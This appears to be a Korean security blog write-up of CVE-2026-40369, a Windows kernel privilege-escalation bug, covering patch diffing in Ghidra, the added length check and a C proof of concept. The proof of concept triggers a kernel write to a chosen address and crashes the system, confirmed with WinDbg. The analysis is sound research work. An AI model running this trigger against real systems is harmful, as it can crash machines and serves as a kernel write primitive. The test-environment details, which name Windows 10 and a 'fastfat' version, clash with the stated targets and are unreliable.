← Blog

CVE-2026-40369 Windows 커널 권한 상승

ntoskrnl.exe의 ExpQuerySystemInformation에서 Length 검증이 누락된 취약점을 패치 디핑으로 분석하고 PoC로 재현했습니다.

Security Update Guide - Microsoft Security Response Center

개요

기본 정보

  • CVE ID: CVE-2026-40369
  • 명칭: Windows Kernel Elevation of Privilege Vulnerability
  • 공개일: 2026년 5월 12일
  • CVSS 3.1 (Base): 7.8 / High
  • CVSS 3.1 (Temporal): 6.8
  • 벡터 문자열: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C

    메트릭 값 의미
    AV(공격 벡터) L (Local) 원격 공격 불가
    AC(공격 복잡도) L (Low) 특수 조건 없이 안정적으로 재현됨
    PR(필요 권한) L (Low) 일반 사용자 권한으로 충분
    UI(사용자 상호작용) N (None) 피해자의 행위가 필요하지 않음
    S(범위) U (Unchanged) 보안 경계 자체는 변경되지 않음
    C / I / A H / H / H 기밀성·무결성·가용성 전면 침해
    E(Exploit Code Maturity) U (Unproven) CVSS 평가 당시 공개된 검증된 익스플로잇 없음
    RL(Remediation Level) O (Official Fix) 공식 패치가 나옴
    RC(Report Confidence) C (Confirmed) 벤더가 확인함

    → 해석: 일반 사용자 권한의 프로세스가 사용자 상호작용 없이 높은 수준의 기밀성·무결성·가용성 영향을 유발할 수 있음

  • 대상 컴포넌트: ntoskrnl.exe (Windows Kernel)
  • 취약 함수: nt!ExpGetProcessInformation
  • 공격 진입점: NtQuerySystemInformation (syscall)

사전 지식

ntoskrnl.exe

  • 정의: Windows 커널의 본체에 해당하는 단일 실행 파일 (컴퓨터 켜지면 항상 떠 있고 끌 수 없음)
  • 메모리 관리·프로세스 관리·객체 관리·보안 검사 등 핵심 기능이 단일 파일 내부에 모두 포함됨
  • CVE-2026-40369와의 관계
    • 취약점이 드라이버가 아닌 본체에 존재하므로 회피·비활성화가 불가능함
    • Windows 커널의 핵심 구성 요소로 상시 동작하므로, 해당 코드 경로가 광범위한 Windows 환경에 존재함

NtQuerySystemInformation

  • 정의: 시스템 전역 정보를 조회하는 시스템 서비스 함수
    • 전역 변수: 현재 실행 중인 특정 프로그램 하나가 아니라 Windows 시스템 전체에 대한 정보
    • 시스템 서비스 함수: System Call을 통해 커널 기능을 사용하는 함수
  • 함수 원형

      NTSTATUS NtQuerySystemInformation(
          ULONG  SystemInformationClass,   // 조회할 정보의 종류
          PVOID  SystemInformation,        // 결과를 저장할 버퍼 (유저가 지정)
          ULONG  SystemInformationLength,  // 버퍼의 크기
          PULONG ReturnLength              // 실제 필요한 크기 (커널이 반환)
      );
    
  • 작동원리
    • 유저가 결과를 기록할 주소를 직접 지정하며, 커널은 해당 주소에 데이터를 씀
    • 커널은 사용 전 반드시 해당 포인터의 유효성을 검증해야 함

Information Class

  • 정의: 조회할 정보의 종류를 지정하는 열거형 상수
    • 열거형 상수: 미리 이름을 붙여 놓은 숫자
  • 작동원리
    • 첫 번째 인자 값에 따라 커널 내부에서 서로 다른 처리 분기로 진입함
    • 다수의 Class가 동일한 내부 함수를 공유하되, 각기 다른 변수와 처리 경로를 사용함
Class 명칭 비고
5 SystemProcessInformation 프로세스 목록
252 (0xFC) SystemProcessInformationEx 확장
253 (0xFD) SystemProcessInformationExtension 취약 경로
  • 분석
    • Class 5·252·253은 모두 ExpGetProcessInformation을 공유하나, Class 253 경로에서는 Length에 대한 사전 검증이 누락되어 Length = 0인 정상 사용 패턴이 취약 경로로 이어질 수 있음
    • 공유 함수에 신규 분기를 추가하는 과정에서 기존 방어 로직이 누락된 전형적 패턴에 해당함

Size Probing 패턴

  • 정의: 필요한 버퍼 크기를 먼저 조회한 뒤 할당하여 재호출하는 표준 사용 패턴
    • 버퍼(Buffer): 함수의 실행 결과를 저장하기 위해 사용자가 제공하는 메모리 공간
  • 작동원리
    • 조회 결과의 크기를 사전에 알 수 없으므로, 1차 호출에서 크기만 확인함
    • 1차 호출은 버퍼 NULL, 길이 0으로 수행하며 STATUS_INFO_LENGTH_MISMATCH를 반환받음
    • 반환된 ReturnLength만큼 할당하여 2차 호출을 수행함
ULONG needed = 0;

// 1차: 필요 크기 조회  ← Length = 0
NtQuerySystemInformation(cls, NULL, 0, &needed);

// 2차: 실제 조회
buffer = malloc(needed);
NtQuerySystemInformation(cls, buffer, needed, &needed);
  • 분석
    • Length = 0 을 이용해 필요한 버퍼 크기를 확인하는 Size Probing 패턴이 존재함
    • CVE-2026-40369는 이 정상 경로 위에서 성립하므로, 비정상 입력 탐지 방식으로는 식별이 어려움

ProbeForWrite

  • 정의: 유저 모드로부터 전달받은 포인터가 쓰기 가능한 유저 주소인지 검증하는 커널 루틴 (“이 주소에 진짜 써도 되는 유저 주소인지” 검사하는 커널 함수)
  • 함수 원형

      VOID ProbeForWrite(
          PVOID  Address,    // 검증 대상 주소
          SIZE_T Length,     // 검증 대상 크기
          ULONG  Alignment   // 정렬 요구 사항
      );
    
  • 작동원리
    • 대상 주소가 유저 모드 영역인지 확인
    • 정렬 조건 충족 여부를 확인함
    • 실제 쓰기 가능 여부를 확인하며, 조건 위반 시 예외를 발생시켜 요청을 중단시킴

취약점 분석

출처: ChatGPT

출처: ChatGPT

Patch Diff

패치 전 파일과 패치 후 파일을 비교해서, 바뀐 부분을 찾아내는 작업

분석 환경

  • 디스어셈블러: Ghidra 12.1.2
  • 분석 대상: ntoskrnl.exe (Windows 커널 본체)
  • 바이너리 확보: Winbindex

바이너리 확보

  • 취약한 버전: 10.0.26100.8328
  • 패치된 버전: 10.0.26100.8457

Diff 결과

1. 취약 함수 수정 안됨: ExpGetProcessInformation

  • 왜 ExpGetProcessInformation이 취약 함수인가?
    • 실제 임의 커널 쓰기(Arbitrary Kernel Write)가 발생하는 위치는 ExpGetProcessInformation이지만, 취약점의 근본 원인은 호출자인 ExpQuerySystemInformation의 검증 누락임
  • ExpGetProcessInformation: 프로세스·스레드·핸들 관련 정보를 수집하여 출력 버퍼에 기록하는 커널 내부 함수
  • 버그가 ExpGetProcessInformation 에 있으니 거기가 고쳐졌을 거라 예상함
  • 취약한 버전: 10.0.26100.8328

    image.png

  • 패치된 버전: 10.0.26100.8457

    image.png

  • 근거 1: 3개 DWORD를 가산하는 쓰기 블록이 패치 후에도 동일하게 존재함
    • 프로세스 수/스레드 수/핸들 수, 이 3개 숫자를 지정된 주소에 더해 쓰는 코드가 있음
  • 근거2: 길이 검사 및 반환 구조가 변경되지 않음

    image.png

    image.png

    • 반환 조건이 ReturnLength == NULL 인 경우로 한정됨
    • 호출자 ExpQuerySystemInformation은 항상 커널 스택 지역변수를 전달하므로 해당 조건은 성립할 수 없음
      • ExpQuerySystemInformation: 함수를 부르기 전에 요청을 정리·검사하는 함수
  • 분석
    • 함수 크기에는 유의미한 변화가 없었으며, 함수 주소만 +0x60 이동함
    • 변경 지점이 다른 함수에 존재할 가능성을 확인하며 호출자인 ExpQuerySystemInformation으로 분석 범위를 확장함

2. 패치는 호출자에 존재: ExpQuerySystemInformation

  • 호출자를 봤더니, 워커(실제 작업을 수행하는 내부 함수)를 부르기 직전에 검사 8줄이 새로 추가돼 있음
  • 취약한 버전: 10.0.26100.8328

    image.png

  • 패치된 버전: 10.0.26100.8457

    image.png

  • Feature_3537880376 검색 시 10.0.26100.8457 에서만 1건 검색됨
  • 변수 식별
    • Ghidra가 생성한 변수명을 함수 내 대입 지점 추적을 통해 실제 의미로 대응시키는 과정
Ghidra 변수 실제 의미 근거
local_448 / local_43c SystemInformationClass local_448 = param_1
param_5 SystemInformationLength uVar26 = (ulonglong)param_5 후 워커에 전달
param_6 ReturnLength 타 case에서 *param_6 = 0x30형태로 동일 용법
  • 추가된 검증 로직
    • InfoClass == 253 이고 Length < 12 인 경우 STATUS_INFO_LENGTH_MISMATCH를 반환함
    • Length = 0 인 경우 0 < 12 가 성립하므로 조건에 진입함
    • ExpGetProcessInformation이 호출되지 않으므로 쓰기 코드에 도달 자체가 차단됨
    • 임계값 12는 취약점이 기록하는 3개 DWORD의 총 크기와 일치함 (쓰기에 필요한 최소 크기)

패치 분석

ProbeForWrite는 수정되지 않음

ProbeForWrite(param_4, uVar26, uVar36);   // 두 빌드 동일
  • 작동원리
    • 두 번째 인자 uVar26은 여전히 사용자가 지정한 Length임
    • Length = 0인 경우 아무 검증 없이 반환하는 동작이 패치 후에도 유지됨
  • 분석
    • Microsoft는 근본 원인을 수정하는 것이 아니라, 해당 원인이 악용되는 특정 경로 하나를 차단함
    • 동일한 패턴이 다른 Information Class나 다른 시스템 서비스에 존재할 가능성이 남아있음

PoC

인자 값
InformationClass 253
Buffer Arbitrary Kernel Address
Length 0
ReturnLength Stack Variable
/*
 * CVE-2026-40369 - Proof of Concept
 * 목표 : 취약 경로 도달 및 커널 쓰기(BSOD) 재현
 *
 * 대상 : Windows 11 24H2/25H2
 * 빌드 : cl /W4 poc.c
 * 실행 : 취약 빌드 VM에서만 실행
 */

#include <windows.h>
#include <stdio.h>

#define SYSTEM_PROCESS_INFORMATION_EXTENSION 253

/* BSOD 확인용 커널 주소 */
#define TARGET_KERNEL_ADDRESS ((PVOID)0xFFFF800041424344ULL)

/* NtQuerySystemInformation */
typedef LONG (NTAPI *pNtQuerySystemInformation)(
    ULONG  SystemInformationClass,
    PVOID  SystemInformation,
    ULONG  SystemInformationLength,
    PULONG ReturnLength
);

int main(void)
{
    HMODULE hNtdll;
    pNtQuerySystemInformation NtQuerySystemInformation;
    ULONG returnLength = 0;
    LONG status;

    puts("[*] CVE-2026-40369 PoC");
    puts("[!] Running on a vulnerable VM will trigger a BSOD.\n");

    /* ntdll에서 함수 주소 획득 */
    hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (hNtdll == NULL) {
        printf("[-] GetModuleHandle 실패: %lu\n", GetLastError());
        return 1;
    }

    NtQuerySystemInformation =
        (pNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
    if (NtQuerySystemInformation == NULL) {
        printf("[-] GetProcAddress 실패: %lu\n", GetLastError());
        return 1;
    }

    printf("[+] NtQuerySystemInformation @ %p\n", (void *)NtQuerySystemInformation);

    /* 취약 경로 호출 */
    printf("[+] trigger: class=253, buffer=%p, length=0\n", TARGET_KERNEL_ADDRESS);

    status = NtQuerySystemInformation(
        SYSTEM_PROCESS_INFORMATION_EXTENSION,
        TARGET_KERNEL_ADDRESS,
        0,
        &returnLength);

    printf("[-] No crash. status=0x%08lX, returnLength=%lu\n",
           (unsigned long)status, returnLength);

    return 0;
}

실행 및 검증

실행 환경

  • OS: Windows 10 (build 19041)
  • fastfat 버전: 10.0.19041.5547
  • 가상화: Hyper-V
  • 디버거: WinDbg

실행 결과

  • VM에서 poc.exe 실행 즉시 BSOD 발생
  • WinDbg가 크래시를 포착하여 !analyze -v 로 분석함

스크린샷 2026-08-08 043503.png

PoC 코드와의 대응

  • 정의: 크래시 로그의 값이 PoC 코드에서 지정한 값과 일치하는지 대조하는 과정
  • 의의: 값이 일치하면 우연한 크래시가 아니라 PoC가 의도적으로 유발한 것을 증명함
PoC 코드 크래시 로그 의미
#define TARGET_KERNEL_ADDRESS ((PVOID)0xFFFF800041424344) Arg1: ffff800041424344 커널이 PoC가 지정한 주소에 접근함
NtQuerySystemInformation(253, addr, 0, ...) Arg2 = 2 읽기가 아닌 쓰기 시도였음
매핑되지 않은 커널 주소 지정 PAGE_FAULT_IN_NONPAGED_AREA (50) 존재하지 않는 커널 주소에 쓰기 시도

정리

  • Arg1 이 PoC에 지정한 주소(0xFFFF800041424344)와 정확히 일치함
    • PoC에서 지정한 커널 주소가 실제 접근 대상이 됨을 증명함
  • Arg2의 Write 비트가 설정됨
    • 접근이 읽기가 아니라 쓰기였음을 의미함

최종 정리

  • 취약한 쓰기는 ExpGetProcessInformation에서 발생하지만, 근본적인 원인은 ExpQuerySystemInformation에서 Length에 대한 검증이 누락된 데 있음
  • Microsoft는 ProbeForWrite를 수정하지 않고 Length < 12 검사를 추가하여 취약 경로만 차단함
  • 이번 분석 범위에서는 다른 Information Class에 동일한 검증 누락이 존재하는지 확인하지 않았으므로, 가능성을 배제할 수 없음

Comments